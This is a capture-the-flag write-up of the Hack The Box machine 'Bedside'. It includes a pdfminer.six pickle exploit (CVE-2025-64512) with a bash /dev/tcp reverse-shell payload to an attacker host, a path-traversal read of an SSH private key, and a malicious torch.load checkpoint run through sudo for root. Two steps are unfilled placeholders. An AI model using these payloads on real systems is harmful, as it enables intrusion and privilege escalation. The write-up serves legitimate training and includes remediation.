Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Bedside

Bedside is a medium-difficulty Linux box whose foothold is a pickle-deserialization bug in pdfminer.six (CVE-2025-64512), and whose root is the same bug class in a MONAI trainer's torch.load().

platform
Hack The Box
target_os
Linux (Debian)
difficulty
Medium
season
Season 11
logged
August 4, 2026
exploit_vectors → External enumerationpdfminer.six RCEDocker enumerationPath traversal

Summary of Exploitation

Bedside is a medium-difficulty Linux box whose foothold is a pickle-deserialization bug in pdfminer.six (CVE-2025-64512), and whose root is the same bug class in a MONAI trainer’s torch.load(). The chain:

  1. External enumeration — the raw IP serves a default site; gobuster vhost discovery reveals research.bedside.htb, a research portal with a PDF /uploads/ feature.
  2. pdfminer.six RCE — a crafted PDF whose CMap /Encoding points at an attacker-uploaded .pickle.gz triggers CMapDB._load_data() → pickle.loads(), giving a reverse shell as the web user inside a container.
  3. Docker enumeration — the shell lands in a container; enumeration reveals an internal dev server not exposed externally.
  4. Path traversal — a traversal flaw on the internal dev server reads the developer user’s private SSH key.
  5. SSH → sudo trainer → root — the key logs in as developer, who may run the MONAI trainer via sudo; the trainer’s unsafe torch.load() deserializes an attacker-staged checkpoint and executes as root.

The theme of the box: pickle.loads() on attacker-influenced input, twice — once in a PDF parser, once in a model loader.


Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH 10.0p2 Debian
80 open http Apache httpd 2.4.68 (Debian)
3000 filtered unknown —

Key takeaways from recon:

  • HTTP on 80 is the only reachable app surface; SSH on 22 is the pivot once a key surfaces.
  • Port 3000 is filtered from outside — it belongs to an internal service reached only after the initial foothold (the dev server, below).
  • Apache serves a name-based vhost, so the bare IP under-reports the site — vhost discovery is required.

Web Enumeration

The bare IP returns a default Apache page. Because the service is name-based, a vhost/subdomain brute-force was run to find the real application:

gobuster vhost -u http://bedside.htb --append-domain \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

This surfaced the research vhost, which was added to /etc/hosts:

echo "<target-ip>  bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts

A content scan of research.bedside.htb then revealed the upload feature:

gobuster dir -u http://research.bedside.htb -w <wordlist>
Path Status Remark
/uploads/ 301 User-submitted PDFs — served back at a known path
/javascript/ 301 Static assets

The application accepts PDF uploads and processes them server-side for text extraction. Crucially, uploaded files are stored under a predictable webroot path (/var/www/research.bedside.htb/uploads/) and served back — this becomes the linchpin of the foothold.

Note. The “upload a PDF, we parse it” pattern is the entire premise. Server-side PDF text extraction in Python almost always means pdfminer.six — worth fingerprinting the version before anything else.


Exploitation Phase

Step 1 — pdfminer.six pickle RCE (CVE-2025-64512) → shell as web user

The PDF-processing backend uses pdfminer.six < 20251107, vulnerable to CVE-2025-64512 / GHSA-wf5f-4jwr-ppcp. The root cause is in CMapDB._load_data():

# pdfminer/cmapdb.py
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")            # insufficient sanitisation
    filename = "%s.pickle.gz" % name         # attacker-controlled 'name'
    path = os.path.join(directory, filename) # absolute 'name' ignores 'directory'
    ...
    return type(str(name), (), pickle.loads(gzfile.read()))   # unsafe deserialization

A PDF can specify a CMap via a font’s /Encoding, and name is taken from that reference. If name is an absolute path, os.path.join discards the intended cmap/ directory, so pdfminer loads pickle.loads() from any .pickle.gz on disk the attacker names.

On Linux the pickle must already exist at a known path — which is exactly what the /uploads/ feature provides. Two files are uploaded to the same predictable webroot:

(a) The malicious pickle — a reverse shell via posix.system, gzip-compressed as evil.pickle.gz:

import pickle, gzip, os

class RevShell:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/9001 0>&1'"
        return (os.system, (cmd,))

with gzip.open("evil.pickle.gz", "wb") as f:
    pickle.dump(RevShell(), f)

(b) The crafted PDF — its /Encoding is the absolute path to the uploaded pickle, minus the .pickle.gz suffix, with PDF name-escapes (#2f→/, #2e→.):

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /Evil
/Encoding /#2fvar#2fwww#2fresearch#2ebedside#2ehtb#2fuploads#2fevil
/DescendantFonts [6 0 R]
>>
endobj

That /Encoding decodes to /var/www/research.bedside.htb/uploads/evil; pdfminer appends .pickle.gz, yielding /var/www/research.bedside.htb/uploads/evil.pickle.gz — the pickle uploaded in (a).

Set up the catcher, upload both files, then request/submit the PDF so the backend parses it:

nc -lvnp 9001            # attacker listener

When the server extracts text from the PDF, _load_data() loads and unpickles evil.pickle.gz, and the reverse shell fires.

Gotcha: Upload the pickle first (or in the same batch) so it’s on disk at the referenced absolute path before the PDF is processed. The advisory notes Linux is “harder to exploit” precisely because you need the pickle at a known location — the app’s own upload-to-fixed-webroot behaviour is what makes it reliable here.

Gotcha: The path in /Encoding must be the absolute filesystem path, not the URL. /var/www/research.bedside.htb/uploads/... — not http://research.bedside.htb/uploads/.... Get the webroot right (standard Apache vhost layout) or pickle.loads() never runs.

Step 2 — Docker enumeration → internal dev server

The shell lands as the web-service user inside a container (marker: /.dockerenv present, container-style hostname, sparse process list). Enumerating the container’s network view reveals an internal-only dev server not reachable from outside — the same service nmap saw as filtered on 3000:

cat /.dockerenv && ip a                      # confirm container + subnet
# sweep the internal bridge network for live hosts / the dev port
for h in $(seq 1 254); do (curl -s -m1 http://<internal-subnet>.$h:<port>/ -o /dev/null \
  && echo "up: <internal-subnet>.$h") & done; wait

Placeholder — fill from your notes: the internal subnet/host and the dev server’s port (the 3000 candidate) and what the service actually is. I’ve scaffolded the sweep; drop in the real address you found.

Step 3 — Path traversal → read developer SSH key

The internal dev server exposes a file-serving endpoint vulnerable to path traversal, used to read files outside the intended directory — including the developer user’s private SSH key:

curl --path-as-is "http://<internal-host>:<port>/<endpoint>?file=../../../../home/developer/.ssh/id_rsa"

Placeholder — fill from your notes: the exact endpoint and parameter, the traversal depth, and whether any encoding/....// bypass was needed. Save the recovered key locally and chmod 600 it.

Step 4 — SSH as developer → sudo trainer → root (unsafe torch.load())

The recovered key authenticates over SSH:

chmod 600 developer_id_rsa
ssh -i developer_id_rsa developer@<target-ip>

developer may run the MONAI trainer as root via an exact-match sudo rule:

developer ALL=(ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

The trainer selects the newest checkpoint by mtime and loads it with an unsafe torch.load() (no weights_only=True) — the second pickle sink of the box:

def find_latest_checkpoint():
    checkpoints = list(pathlib.Path("/datastore/checkpoints").glob("*.pt"))
    return sorted(checkpoints, key=lambda x: os.path.getmtime(x))[-1] if checkpoints else None

# ... later, in the loader:
checkpoint = torch.load(checkpoint_path)     # full pickle -> __reduce__ executes on load

Before that, build_model() calls next(iter(dataloader)). If /datastore/processed/ is empty the trainer promotes files from staging/, and a non-image file there crashes the run before the checkpoint is reached — so seed a valid image first:

cp valid_image.png /datastore/processed/00000.png

Then stage the malicious checkpoint (newest mtime → selected). A direct-action payload avoids every shell-drop pitfall on the hardened build:

import os, torch

class Exploit:
    def __reduce__(self):
        return (os.system, ("cp /root/root.txt /tmp/flag.txt; chmod 777 /tmp/flag.txt",))

torch.save({"model": Exploit()}, "/datastore/checkpoints/checkpoint_epoch_9999.pt")

Trigger as developer:

sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py

torch.load() unpickles the checkpoint and __reduce__ fires as root before the loader ever maps the model/optimizer keys.

Gotcha: The trainer then throws TypeError: Expected state_dict to be dict-like, got <class 'int'>. Cosmetic. The unpickle — and the command — already completed; the type error is the loader choking on the malformed structure after the payload ran. Don’t read the traceback as failure.

Gotcha: A reverse shell + SUID /bin/bash / setuid(0) route failed on this hardened build (bash -p re-drops privilege, setuid(0) EPERMs in-payload). Direct file action (copy the flag, chmod it, read it back) sidesteps the entire privilege-drop surface.

Root Flag Successfully Obtained

cat /tmp/flag.txt
<root_flag>

Key Takeaways

  • pickle.loads() on attacker-influenced input is game over — and it hides in libraries. The foothold wasn’t a home-grown bug; it was pdfminer.six’s CMap loader (CVE-2025-64512). Fingerprint your parsers and check advisories before assuming a target is “just a PDF uploader.”
  • Absolute-path injection defeats os.path.join. os.path.join(dir, abs_path) returns abs_path — the intended directory is silently discarded. The /Encoding CMap reference weaponises exactly this.
  • Upload-to-known-webroot turns the “hard on Linux” case into a reliable one. The advisory calls Linux exploitation difficult because you need the pickle at a known path; an app that stores uploads at a fixed location hands you that path.
  • Containers are a pivot signal, not a dead end. /.dockerenv plus an unreachable internal port pointed straight at the dev server that held the traversal bug.
  • The root bug is the foothold bug again. torch.load() without weights_only=True is the same CWE-502 as pdfminer’s — recognising the pattern the second time makes the privesc obvious.
  • Direct-action payloads beat shell tricks on hardened builds. Copy-and-chmod the target file instead of fighting setuid/bash -p.

Full Attack Chain

External Enumeration
        │
        ▼
research.bedside.htb          (gobuster vhost discovery)
        │
        ▼
    PDF Upload                (evil.pickle.gz + crafted PDF to /uploads/)
        │
        ▼
    pdfminer.six              (CVE-2025-64512: CMapDB._load_data -> pickle.loads)
        │
        ▼
       RCE                    (reverse shell as web user)
        │
        ▼
Docker Enumeration           (/.dockerenv; internal net discovered)
        │
        ▼
Internal Dev Server          (filtered :3000-class service)
        │
        ▼
Path Traversal
        │
        ▼
Read Developer SSH Key       (/home/developer/.ssh/id_rsa)
        │
        ▼
    SSH Login                (developer@target)
        │
        ▼
sudo Training Script         (NOPASSWD /opt/trainer/bedside_trainer.py)
        │
        ▼
Unsafe torch.load()          (staged malicious .pt, newest mtime)
        │
        ▼
      Root

Remediation

  • pdfminer.six: upgrade to ≥ 20251107; process uploads in a sandbox with no outbound network and a read-only, non-predictable storage path.
  • Uploads: store user files outside the webroot / under randomised paths so their absolute location can’t be referenced.
  • Trainer: torch.load(path, weights_only=True) or migrate to safetensors; lock down /datastore/checkpoints/ (root-owned, chmod 700); sign/verify checkpoints before load.
  • Sudo: don’t grant NOPASSWD on a script that deserializes user-writable data.
  • Traversal: canonicalise and confine served paths (realpath under an allowlisted root); reject ...